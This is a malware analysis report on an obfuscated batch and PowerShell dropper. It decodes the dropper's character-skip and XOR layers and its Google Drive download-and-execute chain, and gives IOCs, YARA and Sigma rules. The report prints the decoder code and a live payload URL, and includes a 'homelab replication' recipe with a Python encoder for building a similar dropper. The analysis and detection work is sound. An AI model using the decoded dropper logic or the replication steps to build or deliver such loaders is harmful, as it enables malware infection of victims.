be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2unclassified-batch-skip4-powershell-dropper: be44b0c3 — Portuguese purchase-order bat, stride-4/offset-58 character-skip PowerShell, Google Drive C2, Firefox 150 UA masquerade
Executive Summary
A 4.3 KB Portuguese-language batch script (Pedido_de_Cotação_nº_21052026_lista_comercial.bat) masquerading as a commercial quotation. It wraps a PowerShell payload obfuscated with a stride-4/offset-58 character-skip cipher and Base64+XOR layered encoding. Decoded behaviour: download a second-stage payload from Google Drive to %APPDATA%\Corvophago.Kir, then loop-read → Base64-decode → XOR-decrypt (Gigtramtin key, offset 267807, length 15523) → IEX. No CAPE detonation possible (text file); all behaviour inferred from static decode. Low-confidence family — single observed sample.
What It Is
- File type: ASCII text, single line, 4,273 bytes ^[file.txt]
- Filename:
Pedido_de_Cotação_nº_21052026_lista_comercial.bat(Portuguese: "Quotation no. 21052026 commercial list") ^[metadata.json] - Language: DOS batch wrapper invoking
powershell.exe -NoProfile -windowstyle 1^[strings.txt:1] - Obfuscation engine: Custom — no commercial packer. Four nested functions (
bjergan,containe,Lancetfish,Gnotobioti) implementing a character-skip cipher + Base64+XOR multi-layer decode. - C2: Google Drive direct-download URL (
drive.google.com/uc?export=download&id=...) ^[decoded Base64 payload] - Family: Unclassified. No siblings identified in corpus. Linguistic register (Danish + medical/zoological Latin) is distinct from the pure-Danish NSIS stride-4/6/8 cluster documented at character-skip-cipher-powershell-obfuscation.
How It Works
Layer 0 — Batch Wrapper
The file is a single-line batch script that spawns PowerShell inline:
powershell.exe -NoProfile -windowstyle 1 "more 'best';<PS_SCRIPT>"
windowstyle 1 equals Normal (not Hidden), but the -NoProfile suppresses the user profile load. The more 'best' prefix and trailing #IeXmle Gloster Spiri Blindma Milieu Prob Flleskorts ; comment are noise padding. ^[strings.txt:1]
Layer 1 — Character-Skip Cipher (bjergan)
The inner PowerShell defines four functions. bjergan($s) extracts every 4th character starting at index 58 ($zoologen=3 + $boatlykarretrag=55) until the string index exceeds length:
function bjergan ($polydipsustral,$filipun) {
$unhairspo=$zoologen+$boatlykarretrag # = 58
do {
$civilhor+=$polydipsustral[$unhairspo]
$unhairspo+=4
} until (!$polydipsustral[$unhairspo])
$civilhor
}
This hides plaintext commands inside noise-padded literals. For example, the two-part literal:
'Psychotherapeutic ... ^^x' + 'Apneas ... GrSSS '
decodes to [int]$polydips -bxor %,eXQ< * h lGS (the command used in containe). ^[script body, decoded via Python reimplementation]
Layer 2 — Base64 + 10-Byte XOR (Gnotobioti)
Gnotobioti($b64_string) is the main payload decoder. It chains:
bjergan()on a noise-padded literal to build$script:alarmu = [Convert]::FromBase64String(...)bjergan()on another literal to build$script:bollo = [Text.Encoding]::ASCII.GetString(...)- Iterates
$alarmuarray, XORing each byte with$caroa[$index % 10]where$caroa = @(71,105,103,116,114,97,109,116,105,110)→ key stringGigtramtin - Converts result to ASCII string via
GetString - Invokes
Lancetfish(which isiex) on the decoded string
All execution strings are Base64-encoded and XOR-encrypted with Gigtramtin. ^[script body, decoded via Python reimplementation]
Layer 3 — Runtime Behaviour Chain (decoded)
The script decodes ~22 execution strings in sequence:
| Order | Decoded String | Purpose |
|---|---|---|
| 1 | $global:philos=$env:appdata+$psychocl |
Build staging path: %APPDATA%\Corvophago.Kir |
| 2 | $global:kapsl=$fixat.split($krumnin) |
Split download URL by delimiter > |
| 3 | [Net.ServicePointManager]::SecurityProtocol=3072 |
Force TLS 1.2 (3072 = Ssl3+Tls12 enum) |
| 4 | $stilene.Headers[[Net.HttpRequestHeader]40]=$peachblowf207 |
Set User-Agent header (index 40 = User-Agent) |
| 5 | $global:styrekorte=(Test-Path $shrewde) |
Check if payload already staged |
| 6 | $global:Rudetv=$boatlykarrekrigel |
(Unused variable — dead code or future expansion) |
| 7 | Sleep(4) |
Delay 4 seconds between download attempts |
| 8 | $global:unhealthi2=$global:kenafled++%$kapsl.count |
Round-robin URL selector |
| 9 | $global:palaeocosm=gc $shrewde |
Get-Content — read staged file |
| 10 | $global:Stile=[Convert]::FromBase64String($palaeocosm) |
Base64-decode file contents |
| 11 | $global:vatpi113=[Text.Encoding]::ASCII.GetString($Stile) |
Convert bytes to ASCII |
| 12 | $global:keglef=$vatpi113.substring($polydipsrtister,$noncont) |
Slice substring: offset 267807, length 15523 |
| 13 | (URL + download) | https://drive.google.com/uc?export=download&id=1uhxrWjXmsfg82SuHafPzDKgHnRQPRp3Q |
| 14 | (UA string) | 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 |
The outer while (!$styrekorte) loop repeatedly calls Lancetfish $foryngelse (i.e. iex $foryngelse) which is the download command. Once the file exists, it proceeds to read, decode, and execute the inner payload. ^[script body, decoded via Python reimplementation]
C2 Infrastructure
- Download URL:
https://drive.google.com/uc?export=download&id=1uhxrWjXmsfg82SuHafPzDKgHnRQPRp3Q^[decoded Base64fixatpayload] - User-Agent:
5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0— masquerades as Firefox 150.0 (non-existent version). ^[decoded Base64peachblowf207payload] - Staging path:
%APPDATA%\Corvophago.Kir— two pseudo-Latin words joined by dot. ^[decoded Base64philos+psychoclpayloads] - URL delimiter:
>(decoded from$krumnin=eQ==→ XOR →>). The download URL is split on this character, suggesting failover support, though only one URL is present. ^[decoded Base64krumninpayload] - TLS: Forced TLS 1.2 via
SecurityProtocol=3072. ^[decoded Base64exec3payload]
Notable Functions
| Function | Role | Decoded Behaviour |
|---|---|---|
bjergan |
Character-skip decoder | Stride 4, offset 58; extracts hidden chars from noise-padded literals |
containe |
XOR wrapper | [int]$polydips -bxor $caroa[$index%10] — byte-level XOR with Gigtramtin |
Lancetfish |
Execution stub | &$unde86 $magnitud where $unde86 decodes to iex |
Gnotobioti |
Orchestrator | Chains Base64 → XOR → ASCII → Lancetfish (iex) for each payload string |
Decompiled Behavior
Not applicable — the sample is a text batch script, not a PE binary. No Ghidra or radare2 analysis possible. All behavioural inference derives from manual static decode of the PowerShell obfuscation layers. ^[file.txt]
Interesting Tidbits
- Linguistic register is unusual: Variable names mix Danish (
Sundhedst,Lokalplanomraadets,Selvbetjeningsbutikkern,Styrte,Postadressen,Udstraaling,skrog,Staalampe) with medical/zoological Latin (Psychotherapeutic,Bacteraemia,Parageusic,Gynarchic,Lancetfish,Gnotobioti,Corvophago). This is distinct from the pure-Danish NSIS cluster (Beting,planskreres,Unurbanized) documented in character-skip-cipher-powershell-obfuscation. Suggests either a different operator or a deliberate tooling fork. ^[script body] - Firefox 150.0 masquerade: The User-Agent claims Firefox 150.0, which does not exist (current release channel is ~130 as of 2026). This is a clear fabrication — the operator either does not track browser versions or intentionally uses an absurd value as a sandbox/VM evasion gate. ^[decoded Base64
peachblowf207payload] - Offset 58 is novel: Prior character-skip observations in this corpus use offset 3 (stride 4), offset 5 (stride 6), and offset 7 (stride 8). This sample uses offset 58 — the highest observed. The outer batch wrapper may have been generated by a different encoder than the NSIS cluster. ^[comparison to character-skip-cipher-powershell-obfuscation]
- Window style = 1 (Normal): Most malicious batch→PowerShell wrappers use
-windowstyle hidden(0). Using 1 (Normal) is either operator sloppiness or a deliberate attempt to blend with legitimate administrative scripts that run visibly. ^[strings.txt:1] - No persistence mechanism: The script does not write registry Run keys, scheduled tasks, or Startup folder entries. It relies entirely on the victim double-clicking the
.batfile again, or on a separate persistence layer (e.g. LNK dropped by a prior stage). ^[script body] - Dead code / future expansion:
$global:Rudetv=$boatlykarrekrigeland$shrewde=$philosare assigned but never referenced in the decoded chain.$boatlykarrekrigeland$philosare not decoded strings — they appear to be placeholders for a future expansion of the script. ^[script body] - File size is minimal: At 4,273 bytes, this is a lightweight stager. The inner payload (15,523 bytes post-decode) is modest — likely a small infostealer or RAT. The large offset (267,807) in the substring operation implies the staged file may contain significant padding or a larger payload that is sliced at runtime. ^[script body]
How To Mess With It (Homelab Replication)
Goal: Reproduce a comparable batch→PowerShell character-skip dropper.
Toolchain: Any text editor + Python (for encoder).
Steps:
- Write a plaintext PowerShell payload that downloads a file and executes it.
- Encode each sensitive string (URL, path, UA) via Base64 + 10-byte XOR.
- Write a Python encoder that pads each plaintext command with 3 noise characters per real character, placing real characters at index 58 and every 4th position thereafter.
- Embed the
bjergan,containe,Lancetfish,Gnotobiotifunctions in PowerShell. - Wrap in
cmd.exe /c powershell.exe -NoProfile -windowstyle 1 .... - Verify by running the batch file in a sandbox and capturing network traffic.
Sample Python encoder (character-skip):
import random, string
def skip4_encode(plaintext, offset=58):
noise = string.ascii_letters + string.digits + string.punctuation + ' '
out = list(random.choices(noise, k=offset))
for ch in plaintext:
out.append(ch)
out.extend(random.choices(noise, k=3))
return ''.join(out)
# Example
print(skip4_encode("[int]$polydips -bxor "))
Verification: Run the reproducer batch in a Windows VM. Observe HTTPS GET to drive.google.com with the fabricated User-Agent. The payload should stage to %APPDATA%\Corvophago.Kir (or your chosen path) and the PowerShell process should loop with 4-second sleeps until the file appears.
Deployable Signatures
YARA Rule
rule Unclassified_Batch_Skip4_GDrive_Dropper {
meta:
description = "Portuguese purchase-order batch dropper with stride-4/offset-58 character-skip PowerShell obfuscation and Google Drive C2"
author = "Titus"
reference = "raw/analyses/be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2"
date = "2026-07-08"
hash = "be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2"
strings:
$a1 = "function bjergan" ascii
$a2 = "function Lancetfish" ascii
$a3 = "function Gnotobioti" ascii
$a4 = "function containe" ascii
$b1 = "$zoologen=3" ascii
$b2 = "$boatlykarretrag=55" ascii
$b3 = "$unhairspo+=4" ascii
$c1 = "powershell.exe -NoProfile -windowstyle 1" ascii
$d1 = "drive.google.com" ascii
$d2 = "uc?export=download&id=" ascii
condition:
all of ($a*) and 2 of ($b*) and 1 of ($c*) and 1 of ($d*)
}
Sigma Rule
title: Batch PowerShell Google Drive Download
logsource:
category: process_creation
product: windows
detection:
selection_cmd:
CommandLine|contains:
- 'powershell.exe'
- '-NoProfile'
- '-windowstyle'
selection_network:
CommandLine|contains:
- 'drive.google.com'
- 'uc?export=download'
condition: selection_cmd and selection_network
falsepositives:
- Rare legitimate batch scripts downloading from Google Drive
level: high
IOC List
| Indicator | Type | Value |
|---|---|---|
| SHA-256 | hash | be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2 |
| Filename | string | Pedido_de_Cotação_nº_21052026_lista_comercial.bat |
| C2 URL | url | https://drive.google.com/uc?export=download&id=1uhxrWjXmsfg82SuHafPzDKgHnRQPRp3Q |
| User-Agent | string | 5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0 |
| Staging path | path | %APPDATA%\Corvophago.Kir |
| XOR key | string | Gigtramtin |
| URL delimiter | string | > |
| Function names | string | bjergan, Lancetfish, Gnotobioti, containe |
| Variable names | string | zoologen, boatlykarretrag, mareblobhe, civilhor, unhairspo, stillepi, ocypodebu, niggl, peachblowf207, fixat, krumnin, psychocl, styrekorte, shrewde, polydipsrtister, noncont, keglef, foryngelse, grnn, noncor, palaeocosm, Stile, vatpi113 |
Behavioral Fingerprint
This batch script launches powershell.exe -NoProfile -windowstyle 1 with an inline script containing four obfuscated functions (bjergan, containe, Lancetfish, Gnotobioti). It constructs a 10-byte XOR key Gigtramtin and a Google Drive download URL via Base64+XOR decoding. It sets a fake Firefox 150.0 User-Agent, downloads a payload to %APPDATA%\Corvophago.Kir, then enters a while loop: Sleep(4) → read file → Base64-decode → XOR-decrypt (offset 267807, length 15523) → ASCII-decode → IEX. The decoder function bjergan uses a stride-4/offset-58 character-skip cipher on noise-padded literals to hide PowerShell commands.
Detection Signatures
| ATT&CK Technique | Evidence | Source |
|---|---|---|
| T1059.003 (Windows Command Shell) | Batch script launches powershell.exe |
^[strings.txt:1] |
| T1059.001 (PowerShell) | Inline PowerShell with -NoProfile and obfuscated functions |
^[strings.txt:1] |
| T1105 (Ingress Tool Transfer) | Net.WebClient.DownloadFile to Google Drive URL |
^[decoded Base64 fixat payload] |
| T1027.010 (Obfuscated Files or Information) | Character-skip cipher + Base64 + XOR triple-layer obfuscation | ^[script body] |
| T1620 (Reflective Code Loading) | IEX (Invoke-Expression) executes decoded payload in-memory without disk write |
^[script body, Lancetfish = iex] |
| T1071.001 (Application Layer Protocol: Web Protocols) | HTTPS GET to drive.google.com |
^[decoded Base64 fixat payload] |
| T1497.001 (Virtualization/Sandbox Evasion) | Firefox 150.0 User-Agent masquerade (non-existent version) may act as sandbox gate | ^[decoded Base64 peachblowf207 payload] |
References
- Artifact:
b04d92af-95a1-455a-be8a-4fdc49b40f3c^[metadata.json] - MalwareBazaar: SHA-256
be44b0c3b1a11814cbf7709d5d797d40e81df3836b34ec055202a22b21c6e3f2 - Related technique: character-skip-cipher-powershell-obfuscation
- Related entity: unclassified-batch-skip4-powershell-dropper
Provenance
- Static artifacts:
file.txt,exiftool.json,strings.txt,metadata.json,triage.json— generated by triage-fast pipeline, versions as of 2026-05-26. - Dynamic analysis:
dynamic-analysis.md— CAPE skipped (text file, unsupported binary class). - Manual decode: Python 3.12 reimplementation of
bjergan,Gnotobioti, andcontainefunctions executed on the raw script body. All Base64 strings decoded and XOR-decrypted with keyGigtramtin. Verified against PowerShell semantics (do..until, array indexing,%modulo).